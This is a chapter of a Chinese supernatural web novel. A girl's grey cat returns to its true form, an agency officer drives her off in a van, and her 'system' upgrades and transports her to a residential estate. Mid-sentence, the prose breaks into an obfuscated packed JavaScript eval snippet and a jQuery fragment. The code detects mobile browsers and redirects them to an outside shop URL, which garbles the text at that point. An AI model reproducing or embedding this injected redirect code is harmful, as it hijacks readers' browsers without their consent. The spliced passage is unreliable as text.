圆脸,尖耳,灰色的、茂密柔软的毛发。
还有一双大大圆圆的、澄黄色的眼睛——这是张任谁看了都会欣喜的可爱脸庞。
车厢中的静寂持续了好半晌,才有人迟疑出声:“……猫?”
“哪儿来的猫啊?”
“怎么会是只猫?”
是啊,怎么会是只猫?
李明尘瞳孔地震,他还记得电梯里那分毫不逊色于红线鬼、恶心至极的粉色肉块,他半点都不敢忘!
那怪物原来是只猫!?
他一点都没法将这两种存在联系在一起。
骆寻则呆呆地与怀里的小猫脑袋对视,那双黄铜色的眼睛里正清晰倒映出她呆滞的脸。
好傻,那真的是她吗?
不,不对——这是真实发生的吗?
骆寻不可置信地掐了自己一把,痛觉尖锐而又迅猛的袭来,眼前的小猫脸却依然存在。
没有消失,也没有变成那不成型的粉色肉块……
骆翠花,她最亲爱的同伴,她已经面目全非的伙伴,在鬼城无人可医,在游戏亦无法拯救……她都已经接受它会永远这样下去了,结果就在刚刚,在她觉得这世界荒谬至极的时刻,它居然轻轻松松地变回来了??
不是说游戏没有办法实现心愿吗?
仿佛察觉到她心中所想,那灰猫忽而抻长了脖子,轻轻蹭了蹭她的脸颊。
“喵。”
柔软的、毛茸茸的、尚还带着几分凉意的触感真切传来,熟悉而又陌生。
它真的回来了……
骆寻久久不能回过神来。
面包车里唯一还算镇定的就是徐希夷了。
她眉头一蹙,眼睛一扫,那几个便衣当即便收起困惑,严肃整装——“鬼怪”会以任何意想不到的形态出现,这在加入特政局的第一天他们就该知晓!
看见就连李明尘也不敢松懈了,徐希夷这才满意地摩挲起下巴,又由上至下重新打量了一遍骆寻。
那只独眼颇为意味深长,最后才落在被贴满黄符的灰猫身上。
“你身上的鬼,原来是这东西啊……我说呢。”
骆寻:“……?”
“什么叫这东西?它有名字,它叫翠花。”她按下心底复杂的情感,倏然瞪向了那女人。
“哦,翠花……”徐希夷的话锋陡然一转,“这么说,你承认它是鬼了?”
骆寻:“?我什么时候——”
徐希夷打断她:“窝藏鬼怪,看来你的罪名又要再加一条了。你要不要猜猜自己会蹲多久?”
骆寻本以为李明尘就算够难交流的了,没想到还有更甚者,该说她俩不愧是师姐弟,师出同门吗?
还蹲多久……
「07:23:34」
「系统正在强制升级中——55%」
等系统升级完,她立刻就走!谁蹲大牢谁傻子!
见那灰猫被女孩以保护性的姿态紧紧抱在怀中,徐希夷没有再轻举妄动。
这符箓是科研部近来的新发明,还处在测试阶段便被她讨来了,据说能对鬼怪起到压制的作用,事实也确实如此,效果甚至比她料想中的还要好。
但唯一美中不足的是,压制所生效的时间尚还不明朗。
可能只生效短短的几分钟,也可能生效十天半月……这都要视鬼怪的情况而定。
十一大队是为内测副本的监测而来,带着一帮文员,没有携带任何武器,就连这几个武装便衣都是临时紧急抽调来的。就像从未想过李明尘会被拉进游戏一样,她们也从未想过还会有骆寻这么个意外收获。
情况突然,条件简陋,这附近又全是居民区,这是徐希夷眼下所能想到最为稳妥迅捷的处理方式了。
剩下的,就得交给时间了——只要能在符箓失效前赶回局里,一切就都好说了!
后视镜中,女人的嘴角再度上扬:“趁现在好好想想你有什么可以主动交代的吧,等回到局里,我可就不一定这么好说话了。”
话音落地,伴随着阵阵引擎嗡鸣声,她猛然踩下油门!
徐希夷不能确保符箓生效的时间,却可以笃定自己的车技。
难以想象面包车居然能有这样强劲十足的马力!骆寻猝不及防,一头撞上了前面的座椅。
该死……
坐在她前面的是李明尘,这人似乎正为自己方才“通风报信”的行为而不安,完全不敢多看骆寻一眼。
骆寻也无暇顾及他,仓促搂紧了翠花,便只定定盯着视野角落里的升级进度条。
「系统正在强制升级中——61%」
「系统正在强制升级中——70%」
「系统正在强制升级中——82%」
窗外的景色飞速掠过,风雪愈发模糊,而仪表盘上的码数却还在不断飙升。
*
绿灯甫一熄灭,一辆汽车便宛如饿死鬼投胎般,猛然自十字路口的斑马线后窜了出来!
轮胎的摩擦声在寂静的午夜分外刺耳,更加刺耳的则是那司机的叫骂:“*!会不会看路啊你!?”
车子几乎擦身而过,那身形瘦高的男人却仿若未闻,眼睛都没眨一下。
他只是呆愣愣地看着手中油润的月饼。
司机很快骂骂咧咧地开远,十字路口间只余下男人一人。
今天是中秋,八月十五。天有些阴,月亮却很圆很亮。
男人举起月饼比照当空,见它们形状一样,这才勉强扯了扯嘴角。而后又将月饼送入口中,许是味如嚼蜡,他动作很慢,牙齿机械性地咬合。
直到红灯再次亮起——
男人猛地将余下的月饼通通塞入嘴中,狼吞虎咽,他甚至顾不得一身的渣子,刚吃完,便蹲下身了身去。
他用粉笔在十字路口画着什么。
画完了,他又从随身携带的黑袋子里取出几样东西。
边摆东西,他边念叨着:“爸,妈,回家吃饭了。”
一块完整的月饼被他压在碗底,瓷碗呈着精致的饭菜,一双筷子竖起并拢插在中间。
“爸,妈,回家吃饭了。”
两只碗,两盏长明灯,还有两块巴掌大小的无名牌位。烛火摇曳,男人垂着头跪在沥青路上。
“爸,妈,回家吃饭了。”
四下安静无人,连风声也浅,只有他贯彻始终的低语。
也不知念了多久,他忽然感觉眼前有一片阴影投落。
一扇照不进任何光芒的、漆黑的门竟凭空出现在斑马线上。
男人却半点也不奇怪,反倒露出了由衷的笑容,他踉跄爬起来,走进门中。
门的开合没有任何声音,下一秒,他便连同黑门一起消失在了马路中央。
忽而一阵强风刮过,吹倒了长明灯,蜡油洒了一地。马路上只剩下一个由粉笔画成的、两端尖尖的杏仁图形,还有那两座无名的牌位。
圆月静静高悬,红绿灯还在闪烁,悄无声息地目睹着一切。
*
怀中灰猫仿佛察觉到了什么,忽而瞳仁一缩,耳朵动了动。但骆寻没注意,她还在紧盯着系统的升级进度条。
「系统正在强制升级中——88%」
就快了!
“师姐!你这样明天就要被叫去交通局了!”李明尘同样没想到这面包车也能越飙越快,他紧紧抓着扶手,用力大喊,“你小心局长训话!!”
徐希夷云淡风轻:“不是还有你来捞我吗?”
李明尘塞了一下,说:“我明后天都放假!没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342982|199446||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有这个义务。”
徐希夷“啧”了一声:“跟你说不明白。”
她依然没有半点要减速的意思。
「系统正在强制升级中——90%」
「系统正在强制升级中——95%」
「98%……99%……100%」
「系统已完成升级。」
终于!
前面的那对师姐弟还在拌嘴,窗外风声烈烈,引擎吵得震天响,骆寻的世界却在陡然间安静了下去。
她的目光缓缓扫过车内各处——后排押着她的便衣手里拿着的可不是什么喷符箓的钞票枪,而是斥满火药味的荷枪实弹,但面包车东摇西晃,他们不敢马虎,早便把枪收到了腰上。
拿出来要时间,上弹要时间,再说这么狭窄的空间,他们未必就敢直接开枪。
只要有一瞬的犹豫,那就是骆寻的机会!
臂膀被人抓着,玫瑰金色的手铐还扣在腕上,但这对于骆寻而言根本就不是问题。
她只需要等待面包车下次减速——
「正在与主系统版本同步,已与主系统版本同步。」
「本系统将竭力为保证宿主生命安全而服务!」
「07:04:27」
「导航模块已装载……检测到宿主寿命余额不足24小时,导航功能已自动开启。」
什么玩意儿?
视网膜上忽然多出了很多莫名其妙的标志,骆寻还来不及定睛细看,便见其中一个指南针的图案自动闪烁了起来。
一张极其简易的,只由红线组成的地图旋即跳了出来。
「本次目的地:金凤凰小区。」
「正在为您规划最佳路线……规划完成,正在为您于现实世界开启通道……」
就如同一座电脑中了病毒,只能被他人远程操纵一般,骆寻完全无法阻止眼前正在发生的一切。
她只能看着红线弯曲,跳动,最后组成一句话:
「已为您于现实世界开启通道。」
周围忽而暗了下去,没有一点光存在,但还有声音。
徐希夷说:“我们就要到了,你想好有什么要交代的了吗?”
骆寻怔怔盯着眼前的黑暗,她低下头,发现自己的身体还在,翠花还在,她并不是失明了。
系统这是升级了个什么玩意儿?开启通道?
这黑糊糊的……通道?
能不能取消啊?
骆寻半点不想再步入黑暗,不管那究竟是什么。
可是眼前的黑暗却没有任何要消失的意思,且似乎只有她能够看见。
该死的系统,又在这种关键时刻出岔子。
骆寻不想配合,她还是决定继续自己的逃跑大计,可才刚刚活动手腕——黑暗便猛地开始扭曲,她自己也正在扭曲!
骆寻抓紧翠花,拼命抵抗——
“咚!”的一声闷响,她整个人都摔坐在了冰凉的沥青路上。
骆寻:“……”
还好,翠花还在,而且还是灰猫的模样。
确认了这点,骆寻便再无暇顾及其它,忙看向四周。
她显然已经不在面包车内了,身后是一片深邃静谧的黑暗,眼前的……则是一座居民小区?
几步远的地方有个保安亭,亭子上挂满了五彩的装饰灯,小灯在暗夜里一闪一闪,勉强照亮了旁边的水泥门匾。
“金凤凰小区”五个大字正镌刻其上,描字的红漆早便老旧斑驳,像血痂一样脱落。
簌簌小雪依旧,落在身上泛起丝丝凉意。
小区里几乎没有人家亮灯,几栋高楼就这么无声地矗立在阴影里,像是不知何时就会伸出爪牙来的庞大怪物。
骆寻再抬头,发现夜空中没有月亮。